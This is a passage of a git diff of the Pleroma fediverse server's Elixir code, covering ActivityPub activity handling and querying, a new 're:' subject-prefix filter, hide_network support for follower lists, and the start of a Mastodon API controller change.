User.following?(user, actor)
end
end)
{recipients, to, cc}
end
defp get_recipients(data) do
to = data["to"] || []
cc = data["cc"] || []
recipients = to ++ cc
{recipients, to, cc}
end
defp check_actor_is_active(actor) do
if not is_nil(actor) do
with user <- User.get_cached_by_ap_id(actor),
false <- user.info.deactivated do
:ok
else
_e -> :reject
end
else
:ok
end
end
def insert(map, local \\ true) when is_map(map) do
with nil <- Activity.normalize(map),
map <- lazy_put_activity_defaults(map),
:ok <- check_actor_is_active(map["actor"]),
{:ok, map} <- MRF.filter(map),
:ok <- insert_full_object(map) do
{recipients, _, _} = get_recipients(map)
{:ok, activity} =
Repo.insert(%Activity{
data: map,
local: local,
actor: map["actor"],
recipients: recipients
})
Notification.create_notifications(activity)
stream_out(activity)
{:ok, activity}
else
%Activity{} = activity -> {:ok, activity}
error -> {:error, error}
end
end
def stream_out(activity) do
public = "https://www.w3.org/ns/activitystreams#Public"
if activity.data["type"] in ["Create", "Announce"] do
Pleroma.Web.Streamer.stream("user", activity)
Pleroma.Web.Streamer.stream("list", activity)
if Enum.member?(activity.data["to"], public) do
Pleroma.Web.Streamer.stream("public", activity)
if activity.local do
Pleroma.Web.Streamer.stream("public:local", activity)
end
activity.data["object"]
|> Map.get("tag", [])
|> Enum.filter(fn tag -> is_bitstring(tag) end)
|> Enum.map(fn tag -> Pleroma.Web.Streamer.stream("hashtag:" <> tag, activity) end)
if activity.data["object"]["attachment"] != [] do
Pleroma.Web.Streamer.stream("public:media", activity)
if activity.local do
Pleroma.Web.Streamer.stream("public:local:media", activity)
end
end
else
if !Enum.member?(activity.data["cc"] || [], public) &&
!Enum.member?(
activity.data["to"],
User.get_by_ap_id(activity.data["actor"]).follower_address
),
do: Pleroma.Web.Streamer.stream("direct", activity)
end
end
end
def create(%{to: to, actor: actor, context: context, object: object} = params) do
additional = params[:additional] || %{}
# only accept false as false value
local = !(params[:local] == false)
published = params[:published]
with create_data <-
make_create_data(
%{to: to, actor: actor, published: published, context: context, object: object},
additional
),
{:ok, activity} <- insert(create_data, local),
:ok <- maybe_federate(activity),
{:ok, _actor} <- User.increase_note_count(actor) do
{:ok, activity}
end
end
def accept(%{to: to, actor: actor, object: object} = params) do
# only accept false as false value
local = !(params[:local] == false)
with data <- %{"to" => to, "type" => "Accept", "actor" => actor, "object" => object},
{:ok, activity} <- insert(data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
def reject(%{to: to, actor: actor, object: object} = params) do
# only accept false as false value
local = !(params[:local] == false)
with data <- %{"to" => to, "type" => "Reject", "actor" => actor, "object" => object},
{:ok, activity} <- insert(data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
def update(%{to: to, cc: cc, actor: actor, object: object} = params) do
# only accept false as false value
local = !(params[:local] == false)
with data <- %{
"to" => to,
"cc" => cc,
"type" => "Update",
"actor" => actor,
"object" => object
},
{:ok, activity} <- insert(data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
# TODO: This is weird, maybe we shouldn't check here if we can make the activity.
def like(
%User{ap_id: ap_id} = user,
%Object{data: %{"id" => _}} = object,
activity_id \\ nil,
local \\ true
) do
with nil <- get_existing_like(ap_id, object),
like_data <- make_like_data(user, object, activity_id),
{:ok, activity} <- insert(like_data, local),
{:ok, object} <- add_like_to_object(activity, object),
:ok <- maybe_federate(activity) do
{:ok, activity, object}
else
%Activity{} = activity -> {:ok, activity, object}
error -> {:error, error}
end
end
def unlike(
%User{} = actor,
%Object{} = object,
activity_id \\ nil,
local \\ true
) do
with %Activity{} = like_activity <- get_existing_like(actor.ap_id, object),
unlike_data <- make_unlike_data(actor, like_activity, activity_id),
{:ok, unlike_activity} <- insert(unlike_data, local),
{:ok, _activity} <- Repo.delete(like_activity),
{:ok, object} <- remove_like_from_object(like_activity, object),
:ok <- maybe_federate(unlike_activity) do
{:ok, unlike_activity, like_activity, object}
else
_e -> {:ok, object}
end
end
def announce(
%User{ap_id: _} = user,
%Object{data: %{"id" => _}} = object,
activity_id \\ nil,
local \\ true
) do
with true <- is_public?(object),
announce_data <- make_announce_data(user, object, activity_id),
{:ok, activity} <- insert(announce_data, local),
{:ok, object} <- add_announce_to_object(activity, object),
:ok <- maybe_federate(activity) do
{:ok, activity, object}
else
error -> {:error, error}
end
end
def unannounce(
%User{} = actor,
%Object{} = object,
activity_id \\ nil,
local \\ true
) do
with %Activity{} = announce_activity <- get_existing_announce(actor.ap_id, object),
unannounce_data <- make_unannounce_data(actor, announce_activity, activity_id),
{:ok, unannounce_activity} <- insert(unannounce_data, local),
:ok <- maybe_federate(unannounce_activity),
{:ok, _activity} <- Repo.delete(announce_activity),
{:ok, object} <- remove_announce_from_object(announce_activity, object) do
{:ok, unannounce_activity, object}
else
_e -> {:ok, object}
end
end
def follow(follower, followed, activity_id \\ nil, local \\ true) do
with data <- make_follow_data(follower, followed, activity_id),
{:ok, activity} <- insert(data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
def unfollow(follower, followed, activity_id \\ nil, local \\ true) do
with %Activity{} = follow_activity <- fetch_latest_follow(follower, followed),
{:ok, follow_activity} <- update_follow_state(follow_activity, "cancelled"),
unfollow_data <- make_unfollow_data(follower, followed, follow_activity, activity_id),
{:ok, activity} <- insert(unfollow_data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
def delete(%Object{data: %{"id" => id, "actor" => actor}} = object, local \\ true) do
user = User.get_cached_by_ap_id(actor)
data = %{
"type" => "Delete",
"actor" => actor,
"object" => id,
"to" => [user.follower_address, "https://www.w3.org/ns/activitystreams#Public"]
}
with {:ok, _} <- Object.delete(object),
{:ok, activity} <- insert(data, local),
:ok <- maybe_federate(activity),
{:ok, _actor} <- User.decrease_note_count(user) do
{:ok, activity}
end
end
def block(blocker, blocked, activity_id \\ nil, local \\ true) do
ap_config = Application.get_env(:pleroma, :activitypub)
unfollow_blocked = Keyword.get(ap_config, :unfollow_blocked)
outgoing_blocks = Keyword.get(ap_config, :outgoing_blocks)
with true <- unfollow_blocked do
follow_activity = fetch_latest_follow(blocker, blocked)
if follow_activity do
unfollow(blocker, blocked, nil, local)
end
end
with true <- outgoing_blocks,
block_data <- make_block_data(blocker, blocked, activity_id),
{:ok, activity} <- insert(block_data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
else
_e -> {:ok, nil}
end
end
def unblock(blocker, blocked, activity_id \\ nil, local \\ true) do
with %Activity{} = block_activity <- fetch_latest_block(blocker, blocked),
unblock_data <- make_unblock_data(blocker, blocked, block_activity, activity_id),
{:ok, activity} <- insert(unblock_data, local),
:ok <- maybe_federate(activity) do
{:ok, activity}
end
end
def fetch_activities_for_context(context, opts \\ %{}) do
public = ["https://www.w3.org/ns/activitystreams#Public"]
recipients =
if opts["user"], do: [opts["user"].ap_id | opts["user"].following] ++ public, else: public
query = from(activity in Activity)
query =
query
|> restrict_blocked(opts)
|> restrict_recipients(recipients, opts["user"])
query =
from(
activity in query,
where:
fragment(
"?->>'type' = ? and ?->>'context' = ?",
activity.data,
"Create",
activity.data,
^context
),
order_by: [desc: :id]
)
Repo.all(query)
end
def fetch_public_activities(opts \\ %{}) do
q = fetch_activities_query(["https://www.w3.org/ns/activitystreams#Public"], opts)
q
|> restrict_unlisted()
|> Repo.all()
|> Enum.reverse()
end
@valid_visibilities ~w[direct unlisted public private]
defp restrict_visibility(query, %{visibility: "direct"}) do
public = "https://www.w3.org/ns/activitystreams#Public"
from(
activity in query,
join: sender in User,
on: sender.ap_id == activity.actor,
# Are non-direct statuses with no to/cc possible?
where:
fragment(
"not (? && ?)",
[^public, sender.follower_address],
activity.recipients
)
)
end
defp restrict_visibility(_query, %{visibility: visibility})
when visibility not in @valid_visibilities do
Logger.error("Could not restrict visibility to #{visibility}")
end
defp restrict_visibility(query, _visibility), do: query
def fetch_user_activities(user, reading_user, params \\ %{}) do
params =
params
|> Map.put("type", ["Create", "Announce"])
|> Map.put("actor_id", user.ap_id)
|> Map.put("whole_db", true)
recipients =
if reading_user do
["https://www.w3.org/ns/activitystreams#Public"] ++
[reading_user.ap_id | reading_user.following]
else
["https://www.w3.org/ns/activitystreams#Public"]
end
fetch_activities(recipients, params)
|> Enum.reverse()
end
defp restrict_since(query, %{"since_id" => since_id}) do
from(activity in query, where: activity.id > ^since_id)
end
defp restrict_since(query, _), do: query
defp restrict_tag(query, %{"tag" => tag}) do
from(
activity in query,
where: fragment("? <@ (? #> '{\"object\",\"tag\"}')", ^tag, activity.data)
)
end
defp restrict_tag(query, _), do: query
defp restrict_to_cc(query, recipients_to, recipients_cc) do
from(
activity in query,
where:
fragment(
"(?->'to' \\?| ?) or (?->'cc' \\?| ?)",
activity.data,
^recipients_to,
activity.data,
^recipients_cc
)
)
end
defp restrict_recipients(query, [], _user), do: query
defp restrict_recipients(query, recipients, nil) do
from(activity in query, where: fragment("? && ?", ^recipients, activity.recipients))
end
defp restrict_recipients(query, recipients, user) do
from(
activity in query,
where: fragment("? && ?", ^recipients, activity.recipients),
or_where: activity.actor == ^user.ap_id
)
end
defp restrict_limit(query, %{"limit" => limit}) do
from(activity in query, limit: ^limit)
end
defp restrict_limit(query, _), do: query
defp restrict_local(query, %{"local_only" => true}) do
from(activity in query, where: activity.local == true)
end
defp restrict_local(query, _), do: query
defp restrict_max(query, %{"max_id" => max_id}) do
from(activity in query, where: activity.id < ^max_id)
end
defp restrict_max(query, _), do: query
defp restrict_actor(query, %{"actor_id" => actor_id}) do
from(activity in query, where: activity.actor == ^actor_id)
end
defp restrict_actor(query, _), do: query
defp restrict_type(query, %{"type" => type}) when is_binary(type) do
restrict_type(query, %{"type" => [type]})
end
defp restrict_type(query, %{"type" => type}) do
from(activity in query, where: fragment("?->>'type' = ANY(?)", activity.data, ^type))
end
defp restrict_type(query, _), do: query
defp restrict_favorited_by(query, %{"favorited_by" => ap_id}) do
from(
activity in query,
where: fragment("? <@ (? #> '{\"object\",\"likes\"}')", ^ap_id, activity.data)
)
end
defp restrict_favorited_by(query, _), do: query
defp restrict_media(query, %{"only_media" => val}) when val == "true" or val == "1" do
from(
activity in query,
where: fragment("not (? #> '{\"object\",\"attachment\"}' = ?)", activity.data, ^[])
)
end
defp restrict_media(query, _), do: query
defp restrict_replies(query, %{"exclude_replies" => val}) when val == "true" or val == "1" do
from(
activity in query,
where: fragment("?->'object'->>'inReplyTo' is null", activity.data)
)
end
defp restrict_replies(query, _), do: query
# Only search through last 100_000 activities by default
defp restrict_recent(query, %{"whole_db" => true}), do: query
defp restrict_recent(query, _) do
since = (Repo.aggregate(Activity, :max, :id) || 0) - 100_000
from(activity in query, where: activity.id > ^since)
end
defp restrict_blocked(query, %{"blocking_user" => %User{info: info}}) do
blocks = info.blocks || []
domain_blocks = info.domain_blocks || []
from(
activity in query,
where: fragment("not (? = ANY(?))", activity.actor, ^blocks),
where: fragment("not (?->'to' \\?| ?)", activity.data, ^blocks),
where: fragment("not (split_part(?, '/', 3) = ANY(?))", activity.actor, ^domain_blocks)
)
end
defp restrict_blocked(query, _), do: query
defp restrict_unlisted(query) do
from(
activity in query,
where:
fragment(
"not (coalesce(?->'cc', '{}'::jsonb) \\?| ?)",
activity.data,
^["https://www.w3.org/ns/activitystreams#Public"]
)
)
end
def fetch_activities_query(recipients, opts \\ %{}) do
base_query =
from(
activity in Activity,
limit: 20,
order_by: [fragment("? desc nulls last", activity.id)]
)
base_query
|> restrict_recipients(recipients, opts["user"])
|> restrict_tag(opts)
|> restrict_since(opts)
|> restrict_local(opts)
|> restrict_limit(opts)
|> restrict_max(opts)
|> restrict_actor(opts)
|> restrict_type(opts)
|> restrict_favorited_by(opts)
|> restrict_recent(opts)
|> restrict_blocked(opts)
|> restrict_media(opts)
|> restrict_visibility(opts)
|> restrict_replies(opts)
end
def fetch_activities(recipients, opts \\ %{}) do
fetch_activities_query(recipients, opts)
|> Repo.all()
|> Enum.reverse()
end
def fetch_activities_bounded(recipients_to, recipients_cc, opts \\ %{}) do
fetch_activities_query([], opts)
|> restrict_to_cc(recipients_to, recipients_cc)
|> Repo.all()
|> Enum.reverse()
end
def upload(file, opts \\ []) do
with {:ok, data} <- Upload.store(file, opts) do
- Repo.insert(%Object{data: data})
+ obj_data =
+ if opts[:actor] do
+ Map.put(data, "actor", opts[:actor])
+ else
+ data
+ end
+
+ Repo.insert(%Object{data: obj_data})
end
end
def user_data_from_user_object(data) do
avatar =
data["icon"]["url"] &&
%{
"type" => "Image",
"url" => [%{"href" => data["icon"]["url"]}]
}
banner =
data["image"]["url"] &&
%{
"type" => "Image",
"url" => [%{"href" => data["image"]["url"]}]
}
locked = data["manuallyApprovesFollowers"] || false
data = Transmogrifier.maybe_fix_user_object(data)
user_data = %{
ap_id: data["id"],
info: %{
"ap_enabled" => true,
"source_data" => data,
"banner" => banner,
"locked" => locked
},
avatar: avatar,
name: data["name"],
follower_address: data["followers"],
bio: data["summary"]
}
# nickname can be nil because of virtual actors
user_data =
if data["preferredUsername"] do
Map.put(
user_data,
:nickname,
"#{data["preferredUsername"]}@#{URI.parse(data["id"]).host}"
)
else
Map.put(user_data, :nickname, nil)
end
{:ok, user_data}
end
def fetch_and_prepare_user_from_ap_id(ap_id) do
with {:ok, data} <- fetch_and_contain_remote_object_from_id(ap_id) do
user_data_from_user_object(data)
else
e -> Logger.error("Could not decode user at fetch #{ap_id}, #{inspect(e)}")
end
end
def make_user_from_ap_id(ap_id) do
if _user = User.get_by_ap_id(ap_id) do
Transmogrifier.upgrade_user_from_ap_id(ap_id)
else
with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id) do
User.insert_or_update_user(data)
else
e -> {:error, e}
end
end
end
def make_user_from_nickname(nickname) do
with {:ok, %{"ap_id" => ap_id}} when not is_nil(ap_id) <- WebFinger.finger(nickname) do
make_user_from_ap_id(ap_id)
else
_e -> {:error, "No AP id in WebFinger"}
end
end
def should_federate?(inbox, public) do
if public do
true
else
inbox_info = URI.parse(inbox)
!Enum.member?(Pleroma.Config.get([:instance, :quarantined_instances], []), inbox_info.host)
end
end
def publish(actor, activity) do
followers =
if actor.follower_address in activity.recipients do
{:ok, followers} = User.get_followers(actor)
followers |> Enum.filter(&(!&1.local))
else
[]
end
public = is_public?(activity)
remote_inboxes =
(Pleroma.Web.Salmon.remote_users(activity) ++ followers)
|> Enum.filter(fn user -> User.ap_enabled?(user) end)
|> Enum.map(fn %{info: %{source_data: data}} ->
(is_map(data["endpoints"]) && Map.get(data["endpoints"], "sharedInbox")) || data["inbox"]
end)
|> Enum.uniq()
|> Enum.filter(fn inbox -> should_federate?(inbox, public) end)
{:ok, data} = Transmogrifier.prepare_outgoing(activity.data)
json = Jason.encode!(data)
Enum.each(remote_inboxes, fn inbox ->
Federator.enqueue(:publish_single_ap, %{
inbox: inbox,
json: json,
actor: actor,
id: activity.data["id"]
})
end)
end
def publish_one(%{inbox: inbox, json: json, actor: actor, id: id}) do
Logger.info("Federating #{id} to #{inbox}")
host = URI.parse(inbox).host
digest = "SHA-256=" <> (:crypto.hash(:sha256, json) |> Base.encode64())
signature =
Pleroma.Web.HTTPSignatures.sign(actor, %{
host: host,
"content-length": byte_size(json),
digest: digest
})
@httpoison.post(
inbox,
json,
[
{"Content-Type", "application/activity+json"},
{"signature", signature},
{"digest", digest}
],
hackney: [pool: :default]
)
end
# TODO:
# This will create a Create activity, which we need internally at the moment.
def fetch_object_from_id(id) do
if object = Object.get_cached_by_ap_id(id) do
{:ok, object}
else
Logger.info("Fetching #{id} via AP")
with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
nil <- Object.normalize(data),
params <- %{
"type" => "Create",
"to" => data["to"],
"cc" => data["cc"],
"actor" => data["actor"] || data["attributedTo"],
"object" => data
},
:ok <- Transmogrifier.contain_origin(id, params),
{:ok, activity} <- Transmogrifier.handle_incoming(params) do
{:ok, Object.normalize(activity.data["object"])}
else
{:error, {:reject, nil}} ->
{:reject, nil}
object = %Object{} ->
{:ok, object}
_e ->
Logger.info("Couldn't get object via AP, trying out OStatus fetching...")
case OStatus.fetch_activity_from_url(id) do
{:ok, [activity | _]} -> {:ok, Object.normalize(activity.data["object"])}
e -> e
end
end
end
end
def fetch_and_contain_remote_object_from_id(id) do
Logger.info("Fetching #{id} via AP")
with true <- String.starts_with?(id, "http"),
{:ok, %{body: body, status: code}} when code in 200..299 <-
@httpoison.get(
id,
- [Accept: "application/activity+json"],
- follow_redirect: true,
- timeout: 10000,
- recv_timeout: 20000
+ [{:Accept, "application/activity+json"}]
),
{:ok, data} <- Jason.decode(body),
:ok <- Transmogrifier.contain_origin_from_id(id, data) do
{:ok, data}
else
e ->
{:error, e}
end
end
def is_public?(activity) do
"https://www.w3.org/ns/activitystreams#Public" in (activity.data["to"] ++
(activity.data["cc"] || []))
end
def visible_for_user?(activity, nil) do
is_public?(activity)
end
def visible_for_user?(activity, user) do
x = [user.ap_id | user.following]
y = activity.data["to"] ++ (activity.data["cc"] || [])
visible_for_user?(activity, nil) || Enum.any?(x, &(&1 in y))
end
# guard
def entire_thread_visible_for_user?(nil, user), do: false
# child
def entire_thread_visible_for_user?(
%Activity{data: %{"object" => %{"inReplyTo" => parent_id}}} = tail,
user
)
when is_binary(parent_id) do
parent = Activity.get_in_reply_to_activity(tail)
visible_for_user?(tail, user) && entire_thread_visible_for_user?(parent, user)
end
# root
def entire_thread_visible_for_user?(tail, user), do: visible_for_user?(tail, user)
# filter out broken threads
def contain_broken_threads(%Activity{} = activity, %User{} = user) do
entire_thread_visible_for_user?(activity, user)
end
# do post-processing on a specific activity
def contain_activity(%Activity{} = activity, %User{} = user) do
contain_broken_threads(activity, user)
end
# do post-processing on a timeline
def contain_timeline(timeline, user) do
timeline
|> Enum.filter(fn activity ->
contain_activity(activity, user)
end)
end
end
diff --git a/lib/pleroma/web/activity_pub/mrf/ensure_re_prepended.ex b/lib/pleroma/web/activity_pub/mrf/ensure_re_prepended.ex
new file mode 100644
index 000000000..c8c74ede6
--- /dev/null
+++ b/lib/pleroma/web/activity_pub/mrf/ensure_re_prepended.ex
@@ -0,0 +1,40 @@
+defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrepended do
+ alias Pleroma.Object
+
+ @behaviour Pleroma.Web.ActivityPub.MRF
+
+ @reply_prefix Regex.compile!("^re:[[:space:]]*", [:caseless])
+ def filter_by_summary(
+ %{"summary" => parent_summary} = parent,
+ %{"summary" => child_summary} = child
+ )
+ when not is_nil(child_summary) and byte_size(child_summary) > 0 and
+ not is_nil(parent_summary) and byte_size(parent_summary) > 0 do
+ if (child_summary == parent_summary and not Regex.match?(@reply_prefix, child_summary)) or
+ (Regex.match?(@reply_prefix, parent_summary) &&
+ Regex.replace(@reply_prefix, parent_summary, "") == child_summary) do
+ Map.put(child, "summary", "re: " <> child_summary)
+ else
+ child
+ end
+ end
+
+ def filter_by_summary(parent, child), do: child
+
+ def filter(%{"type" => activity_type} = object) when activity_type == "Create" do
+ child = object["object"]
+ in_reply_to = Object.normalize(child["inReplyTo"])
+
+ child =
+ if(in_reply_to,
+ do: filter_by_summary(in_reply_to.data, child),
+ else: child
+ )
+
+ object = Map.put(object, "object", child)
+
+ {:ok, object}
+ end
+
+ def filter(object), do: {:ok, object}
+end
diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
index aaa777602..869934172 100644
--- a/lib/pleroma/web/activity_pub/views/user_view.ex
+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
@@ -1,193 +1,193 @@
defmodule Pleroma.Web.ActivityPub.UserView do
use Pleroma.Web, :view
alias Pleroma.Web.Salmon
alias Pleroma.Web.WebFinger
alias Pleroma.User
alias Pleroma.Repo
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.ActivityPub.Utils
import Ecto.Query
# the instance itself is not a Person, but instead an Application
def render("user.json", %{user: %{nickname: nil} = user}) do
{:ok, user} = WebFinger.ensure_keys_present(user)
{:ok, _, public_key} = Salmon.keys_from_pem(user.info.keys)
public_key = :public_key.pem_entry_encode(:SubjectPublicKeyInfo, public_key)
public_key = :public_key.pem_encode([public_key])
%{
"id" => user.ap_id,
"type" => "Application",
"following" => "#{user.ap_id}/following",
"followers" => "#{user.ap_id}/followers",
"inbox" => "#{user.ap_id}/inbox",
"name" => "Pleroma",
"summary" => "Virtual actor for Pleroma relay",
"url" => user.ap_id,
"manuallyApprovesFollowers" => false,
"publicKey" => %{
"id" => "#{user.ap_id}#main-key",
"owner" => user.ap_id,
"publicKeyPem" => public_key
},
"endpoints" => %{
"sharedInbox" => "#{Pleroma.Web.Endpoint.url()}/inbox"
}
}
|> Map.merge(Utils.make_json_ld_header())
end
def render("user.json", %{user: user}) do
{:ok, user} = WebFinger.ensure_keys_present(user)
{:ok, _, public_key} = Salmon.keys_from_pem(user.info.keys)
public_key = :public_key.pem_entry_encode(:SubjectPublicKeyInfo, public_key)
public_key = :public_key.pem_encode([public_key])
%{
"id" => user.ap_id,
"type" => "Person",
"following" => "#{user.ap_id}/following",
"followers" => "#{user.ap_id}/followers",
"inbox" => "#{user.ap_id}/inbox",
"outbox" => "#{user.ap_id}/outbox",
"preferredUsername" => user.nickname,
"name" => user.name,
"summary" => user.bio,
"url" => user.ap_id,
"manuallyApprovesFollowers" => user.info.locked,
"publicKey" => %{
"id" => "#{user.ap_id}#main-key",
"owner" => user.ap_id,
"publicKeyPem" => public_key
},
"endpoints" => %{
"sharedInbox" => "#{Pleroma.Web.Endpoint.url()}/inbox"
},
"icon" => %{
"type" => "Image",
"url" => User.avatar_url(user)
},
"image" => %{
"type" => "Image",
"url" => User.banner_url(user)
},
"tag" => user.info.source_data["tag"] || []
}
|> Map.merge(Utils.make_json_ld_header())
end
def render("following.json", %{user: user, page: page}) do
query = User.get_friends_query(user)
query = from(user in query, select: [:ap_id])
following = Repo.all(query)
- collection(following, "#{user.ap_id}/following", page)
+ collection(following, "#{user.ap_id}/following", page, !user.info.hide_network)
|> Map.merge(Utils.make_json_ld_header())
end
def render("following.json", %{user: user}) do
query = User.get_friends_query(user)
query = from(user in query, select: [:ap_id])
following = Repo.all(query)
%{
"id" => "#{user.ap_id}/following",
"type" => "OrderedCollection",
"totalItems" => length(following),
- "first" => collection(following, "#{user.ap_id}/following", 1)
+ "first" => collection(following, "#{user.ap_id}/following", 1, !user.info.hide_network)
}
|> Map.merge(Utils.make_json_ld_header())
end
def render("followers.json", %{user: user, page: page}) do
query = User.get_followers_query(user)
query = from(user in query, select: [:ap_id])
followers = Repo.all(query)
- collection(followers, "#{user.ap_id}/followers", page)
+ collection(followers, "#{user.ap_id}/followers", page, !user.info.hide_network)
|> Map.merge(Utils.make_json_ld_header())
end
def render("followers.json", %{user: user}) do
query = User.get_followers_query(user)
query = from(user in query, select: [:ap_id])
followers = Repo.all(query)
%{
"id" => "#{user.ap_id}/followers",
"type" => "OrderedCollection",
"totalItems" => length(followers),
- "first" => collection(followers, "#{user.ap_id}/followers", 1)
+ "first" => collection(followers, "#{user.ap_id}/followers", 1, !user.info.hide_network)
}
|> Map.merge(Utils.make_json_ld_header())
end
def render("outbox.json", %{user: user, max_id: max_qid}) do
# XXX: technically note_count is wrong for this, but it's better than nothing
info = User.user_info(user)
params = %{
"limit" => "10"
}
params =
if max_qid != nil do
Map.put(params, "max_id", max_qid)
else
params
end
activities = ActivityPub.fetch_user_activities(user, nil, params)
min_id = Enum.at(Enum.reverse(activities), 0).id
max_id = Enum.at(activities, 0).id
collection =
Enum.map(activities, fn act ->
{:ok, data} = Transmogrifier.prepare_outgoing(act.data)
data
end)
iri = "#{user.ap_id}/outbox"
page = %{
"id" => "#{iri}?max_id=#{max_id}",
"type" => "OrderedCollectionPage",
"partOf" => iri,
"totalItems" => info.note_count,
"orderedItems" => collection,
"next" => "#{iri}?max_id=#{min_id - 1}"
}
if max_qid == nil do
%{
"id" => iri,
"type" => "OrderedCollection",
"totalItems" => info.note_count,
"first" => page
}
|> Map.merge(Utils.make_json_ld_header())
else
page |> Map.merge(Utils.make_json_ld_header())
end
end
- def collection(collection, iri, page, total \\ nil) do
+ def collection(collection, iri, page, show_items \\ true, total \\ nil) do
offset = (page - 1) * 10
items = Enum.slice(collection, offset, 10)
items = Enum.map(items, fn user -> user.ap_id end)
total = total || length(collection)
map = %{
"id" => "#{iri}?page=#{page}",
"type" => "OrderedCollectionPage",
"partOf" => iri,
"totalItems" => total,
- "orderedItems" => items
+ "orderedItems" => if(show_items, do: items, else: [])
}
if offset < total do
Map.put(map, "next", "#{iri}?page=#{page + 1}")
end
end
end
diff --git a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
index ea64f163d..2d7b1a00c 100644
--- a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
@@ -1,1221 +1,1277 @@
defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
use Pleroma.Web, :controller
alias Pleroma.{Repo, Object, Activity, User, Notification, Stats}
alias Pleroma.Web
- alias Pleroma.Web.MastodonAPI.{StatusView, AccountView, MastodonView, ListView, FilterView}
+
+ alias Pleroma.Web.MastodonAPI.{
+ StatusView,
+ AccountView,
+ MastodonView,
+ ListView,
+ FilterView,
+ PushSubscriptionView
+ }
+
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.OAuth.{Authorization, Token, App}
alias Pleroma.Web.MediaProxy
- alias Comeonin.Pbkdf2
+
import Ecto.Query
require Logger
@httpoison Application.get_env(:pleroma, :httpoison)
action_fallback(:errors)
def create_app(conn, params) do
with cs <- App.register_changeset(%App{}, params) |> IO.inspect(),
{:ok, app} <- Repo.insert(cs) |> IO.inspect() do
res = %{
id: app.id |> to_string,
name: app.client_name,
client_id: app.client_id,
client_secret: app.client_secret,
redirect_uri: app.redirect_uris,
website: app.website
}
json(conn, res)
end
end
defp add_if_present(
map,
params,
params_field,
map_field,
value_function \\ fn x -> {:ok, x} end
) do
if Map.has_key?(params, params_field) do
case value_function.(params[params_field]) do
{:ok, new_value} -> Map.put(map, map_field, new_value)
:error -> map
end
else
map
end
end
def update_credentials(%{assigns: %{user: user}} = conn, params) do
original_user = user
user_params =
%{}
|> add_if_present(params, "display_name", :name)
|> add_if_present(params, "note", :bio, fn value -> {:ok, User.parse_bio(value)} end)
|> add_if_present(params, "avatar", :avatar, fn value ->
with %Plug.Upload{} <- value,
{:ok, object} <- ActivityPub.upload(value, type: :avatar) do
{:ok, object.data}
else
_ -> :error
end
end)
info_params =
%{}
|> add_if_present(params, "locked", :locked, fn value -> {:ok, value == "true"} end)
|> add_if_present(params, "header", :banner, fn value ->
with %Plug.Upload{} <- value,
{:ok, object} <- ActivityPub.upload(value, type: :banner) do
{:ok, object.data}
else
_ -> :error
end
end)
info_cng = User.Info.mastodon_profile_update(user.info, info_params)
with changeset <- User.update_changeset(user, user_params),
changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
if original_user != user do
CommonAPI.update(user)
end
json(conn, AccountView.render("account.json", %{user: user, for: user}))
else
_e ->
conn
|> put_status(403)
|> json(%{error: "Invalid request"})
end
end
def verify_credentials(%{assigns: %{user: user}} = conn, _) do
account = AccountView.render("account.json", %{user: user, for: user})
json(conn, account)
end
def user(%{assigns: %{user: for_user}} = conn, %{"id" => id}) do
with %User{} = user <- Repo.get(User, id) do
account = AccountView.render("account.json", %{user: user, for: for_user})
json(conn, account)
else
_e ->
conn
|> put_status(404)
|> json(%{error: "Can't find user"})
end
end
@mastodon_api_level "2.5.0"
def masto_instance(conn, _params) do
instance = Pleroma.Config.get(:instance)
response = %{
uri: Web.base_url(),
title: Keyword.get(instance, :name),
description: Keyword.get(instance, :description),
version: "#{@mastodon_api_level} (compatible; #{Pleroma.Application.named_version()})",
email: Keyword.get(instance, :email),
urls: %{
streaming_api: String.replace(Pleroma.Web.Endpoint.static_url(), "http", "ws")
},
stats: Stats.get_stats(),
thumbnail: Web.base_url() <> "/instance/thumbnail.jpeg",
max_toot_chars: Keyword.get(instance, :limit)
}
json(conn, response)
end
def peers(conn, _params) do
json(conn, Stats.get_peers())
end
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
|> Enum.map(fn {shortcode, relative_url} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{
"shortcode" => shortcode,
"static_url" => url,
"visible_in_picker" => true,
"url" => url
}
end)
end
def custom_emojis(conn, _params) do
mastodon_emoji = mastodonized_emoji()
json(conn, mastodon_emoji)
end
defp add_link_headers(conn, method, activities, param \\ nil, params \\ %{}) do
last = List.last(activities)
first = List.first(activities)
if last do
min = last.id
max = first.id
{next_url, prev_url} =
if param do
{
mastodon_api_url(
Pleroma.Web.Endpoint,
method,
param,
Map.merge(params, %{max_id: min})
),
mastodon_api_url(
Pleroma.Web.Endpoint,
method,
param,
Map.merge(params, %{since_id: max})
)
}
else
{
mastodon_api_url(
Pleroma.Web.Endpoint,
method,
Map.merge(params, %{max_id: min})
),
mastodon_api_url(
Pleroma.Web.Endpoint,
method,
Map.merge(params, %{since_id: max})
)
}
end
conn
|> put_resp_header("link", "<#{next_url}>; rel=\"next\", <#{prev_url}>; rel=\"prev\"")
else
conn
end
end
def home_timeline(%{assigns: %{user: user}} = conn, params) do
params =
params
|> Map.put("type", ["Create", "Announce"])
|> Map.put("blocking_user", user)
|> Map.put("user", user)
activities =
ActivityPub.fetch_activities([user.ap_id | user.following], params)
|> ActivityPub.contain_timeline(user)
|> Enum.reverse()
conn
